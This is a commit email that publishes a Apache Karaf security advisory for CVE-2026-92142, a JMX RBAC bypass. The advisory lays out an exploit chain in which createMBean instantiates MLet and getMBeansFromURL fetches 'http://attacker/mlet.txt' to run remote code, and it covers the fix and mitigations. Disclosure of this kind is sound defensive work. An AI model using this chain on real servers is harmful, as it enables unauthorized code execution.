Author: jbonofre
Date: Mon Sep 28 16:16:58 2026
New Revision: 1938620

Log:
[scm-publish] Updating main website contents

Added:
   karaf/site/production/security/cve-2026-92142.txt
Modified:
   karaf/site/production/documentation.html
   karaf/site/production/feed.xml

Modified: karaf/site/production/documentation.html
==============================================================================
--- karaf/site/production/documentation.html    Mon Sep 28 16:08:00 2026        
(r1938619)
+++ karaf/site/production/documentation.html    Mon Sep 28 16:16:58 2026        
(r1938620)
@@ -377,6 +377,13 @@
   <div class="k-admonition">
     <div class="k-admonition-icon"><i class="fas fa-shield-halved"></i></div>
     <div>
+      <p>CVE-2026-92142: Apache Karaf: Authorization bypass in JMX MBean 
lifecycle operations</p>
+      <a class="btn btn-outline-primary btn-sm" 
href="/security/cve-2026-92142.txt">Notes &raquo;</a>
+    </div>
+  </div>
+  <div class="k-admonition">
+    <div class="k-admonition-icon"><i class="fas fa-shield-halved"></i></div>
+    <div>
       <p>CVE-2026-92230: Apache Karaf: Improper release of ClassLoader 
references via static ThreadLocal caching</p>
       <a class="btn btn-outline-primary btn-sm" 
href="/security/cve-2026-92230.txt">Notes &raquo;</a>
     </div>

Modified: karaf/site/production/feed.xml
==============================================================================
--- karaf/site/production/feed.xml      Mon Sep 28 16:08:00 2026        
(r1938619)
+++ karaf/site/production/feed.xml      Mon Sep 28 16:16:58 2026        
(r1938620)
@@ -1 +1 @@
-<?xml version="1.0" encoding="utf-8"?><feed 
xmlns="http://www.w3.org/2005/Atom"; ><generator uri="https://jekyllrb.com/"; 
version="4.4.1">Jekyll</generator><link 
href="https://karaf.apache.org/feed.xml"; rel="self" type="application/atom+xml" 
/><link href="https://karaf.apache.org/"; rel="alternate" type="text/html" 
/><updated>2026-09-28T11:07:18-05:00</updated><id>https://karaf.apache.org/feed.xml</id><title
 type="html">Apache Karaf - The modulith runtime</title><subtitle>Karaf 
provides modulith runtime for the enterprise, running on premise or on cloud. 
Focus on your business code and applications, Apache Karaf deals with the 
rest.</subtitle></feed>
\ No newline at end of file
+<?xml version="1.0" encoding="utf-8"?><feed 
xmlns="http://www.w3.org/2005/Atom"; ><generator uri="https://jekyllrb.com/"; 
version="4.4.1">Jekyll</generator><link 
href="https://karaf.apache.org/feed.xml"; rel="self" type="application/atom+xml" 
/><link href="https://karaf.apache.org/"; rel="alternate" type="text/html" 
/><updated>2026-09-28T11:16:30-05:00</updated><id>https://karaf.apache.org/feed.xml</id><title
 type="html">Apache Karaf - The modulith runtime</title><subtitle>Karaf 
provides modulith runtime for the enterprise, running on premise or on cloud. 
Focus on your business code and applications, Apache Karaf deals with the 
rest.</subtitle></feed>
\ No newline at end of file

Added: karaf/site/production/security/cve-2026-92142.txt
==============================================================================
--- /dev/null   00:00:00 1970   (empty, because file is newly added)
+++ karaf/site/production/security/cve-2026-92142.txt   Mon Sep 28 16:16:58 
2026        (r1938620)
@@ -0,0 +1,60 @@
+-----BEGIN PGP SIGNED MESSAGE-----
+Hash: SHA256
+
+CVE-2026-92142: Apache Karaf: Authorization bypass in JMX MBean lifecycle 
operations
+
+Severity: important 
+
+Affected versions:
+
+- - Apache Karaf before 4.4.12
+
+Description:
+
+Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which 
enforces role-based access control (RBAC) on MBean operations invoked over the 
remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 
44444). The guard is implemented as a java.lang.reflect.Proxy around the 
MBeanServer, and only forwards a fixed list of operation names to the RBAC 
check, defined in MBeanInvocationHandler#guarded:
+
+  private final List<String> guarded = Collections.unmodifiableList( 
Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", 
"setAttributes"));
+
+The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and 
#unregisterMBean are not in this list. Calls to these methods are forwarded 
directly to the underlying MBeanServer with no role check at all, regardless of 
the roles configured in etc/jmx.acl.*.cfg.
+
+As a result, any user who can authenticate to the JMX endpoint, including a 
user holding only the least-privileged "viewer" role, can call createMBean() to 
instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it 
again afterwards, with no authorization check and no audit log entry (logging 
in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass 
never reaches).
+
+This is significant because javax.management.loading.MLet, a standard JDK 
MBean, can be instantiated this way. MLet acts as a remote classloader: its 
getMBeansFromURL(URL) operation fetches an MLet text file from an 
attacker-controlled URL and instantiates and registers the classes it lists as 
new MBeans in the target JVM. Reaching this operation still goes through 
KarafMBeanServerGuard's existing "invoke" check, but the default 
etc/jmx.acl.cfg grants the "viewer" role to any method name matching the 
wildcard rule "get* = viewer", a heuristic intended for read-only getters. 
Because "getMBeansFromURL" happens to start with "get", it also matches that 
rule, so a default installation grants "viewer" callers permission to invoke it 
without any Karaf-specific ACL naming MLet at all. Combined with the 
createMBean gap, this gives a "viewer"-role JMX client a path to remote code 
execution to the Karaf JVM:
+
+  *  Authenticate to JMX as any user with any role (e.g. "viewer").
+  *  mbs.createMBean("javax.management.loading.MLet", objectName) is not in 
GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
+  *  mbs.invoke(objectName, "getMBeansFromURL", new 
Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name 
matches the default "get* = viewer" ACL rule, so permitted.
+  *  The remote .mlet file is fetched and its listed classes are loaded and 
registered as new MBeans, running attacker-supplied code in the Karaf JVM.
+  *  mbs.unregisterMBean(objectName) can be used to remove the MLet 
afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.
+
+The fix adds createMBean, registerMBean and unregisterMBean to the guarded 
operation list, resolves required roles for them from the jmx.acl* 
configuration by ObjectName and (for createMBean/registerMBean) MBean class 
name, and ships default etc/jmx.acl.cfg entries restricting all three 
operations to the "admin" role. This allows deployments to also write 
class-name-specific rule, e.g.:
+
+createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin
+
+Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, 
as soon as possible. Until an upgrade is available, restrict network access to 
the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid 
issuing any non-"admin" JMX credentiels.
+
+Credit:
+
+MopMonk-AI <[email protected]> (reporter)
+
+References:
+
+https://karaf.apache.org/
+https://www.cve.org/CVERecord?id=CVE-2026-92142
+-----BEGIN PGP SIGNATURE-----
+
+iQJPBAEBCAA5FiEEGqjPktQJpzOT0Lc2v/LuQsgoLnYFAmq6kagbFIAAAAAABAAO
+bWFudTIsMi41KzEuMTIsMCwzAAoJEL/y7kLIKC522t8P/iZ+ngifmTHzbXOmrYgf
+obwjMfEj0gd1UxSO+kKFwD/E46x1OKlX+oIzrYU6z3PKFj6XpulBN/42nLIbLRCj
+HVghxh2Py/KMUhnL9JGYvIhepOntYBWPVNz0oBJovuInXpDw7h1nfoE9lDfz2pZW
+3Rn2lHIiBESh6BP0xXFVUpI2mOiF5XSgxNRNyFPraEPPzrFB8ztFwjpMxYw7RnQl
+nG9Y97r+ZicyA7OSrq8Yf3DnxC2vml35fe91GzzrDUH0/1/JkDgIkdDvQZjlWHh8
+KbANhIENVG1/0RLihjhOR28Np550E7gbRB4iCqvUlHjVEbq7DAWQ81UtWNLi6Z4A
+figqWHFSY5f0MMPb5uuTMyFwp8HpjvWhapy2+nrJjTaZi3xgWfjQ2yc1JIhn8GCp
+6hW3FztugVkJbeo5AZalbC5S+kxiKAkUqnJ8zNwfFz+sjTMNBIc6EgsrtDT9EyxF
+/qSSBVGbJqwgbSfOE/9LFdeF2/ff8SZPP6JyGxOU28kzGRh4zYI1LvxekmqQjE9m
+PYvdKPY5oeCL+UUHrauwLr4rkOywYo8DXrd4LtCA90whzbNUKvRC7J7Mfz3FHGcO
+1G8+IFN4tFzPto33X39HNHoGLuF7xIY/HY/tZCW6l0Pzn+0xIR5YWaieWuIpbwPt
+spyixmF6bT+OslPYn14l6Nbr
+=0PWV
+-----END PGP SIGNATURE-----

Reply via email to